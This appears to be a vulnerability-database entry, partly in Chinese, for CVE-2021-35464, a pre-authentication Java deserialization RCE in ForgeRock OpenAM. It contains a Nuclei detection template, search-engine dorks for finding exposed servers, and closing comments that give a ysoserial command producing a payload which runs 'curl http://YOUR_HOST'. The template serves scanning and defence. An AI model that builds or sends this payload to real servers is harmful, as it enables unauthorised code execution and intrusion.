CVE-2021-35464: ForgeRock OpenAM <7.0 - Remote Code Execution

日期: 2025-08-01 | 影响软件: ForgeRock OpenAM | POC: 已公开

漏洞描述

ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO) found in versions of Java 8 or earlier.

PoC代码[已公开]

id: CVE-2021-35464

info:
  name: ForgeRock OpenAM <7.0 - Remote Code Execution
  author: madrobot
  severity: critical
  description: |
    ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
    The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
    /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
    found in versions of Java 8 or earlier.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
  reference:
    - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
    - http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
    - http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
    - https://bugster.forgerock.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35464
    cwe-id: CWE-502
    epss-score: 0.94386
    epss-percentile: 0.99967
    cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: forgerock
    product: am
    shodan-query:
      - http.title:"OpenAM"
      - http.title:"openam"
    fofa-query: title="openam"
    google-query: intitle:"openam"
  tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock

http:
  - method: GET
    path:
      - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie: JSESSIONID="

      - type: word
        part: body
        words:
          - "Version Information -"
          - "openam/ccversion/Masthead.jsp"
        condition: or

      - type: status
        status:
          - 200

# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
# digest: 4a0a00473045022100e028d283e849f129c6857cc93ab639dbc7b2234a54cb2e2fc3fe6b0ed5249fc802200b9ca0a5fda6729bac7bcdab9d0346ac0a1a977037c784598ef2a8a635def782:922c64590222798bb761d5b6d8e72950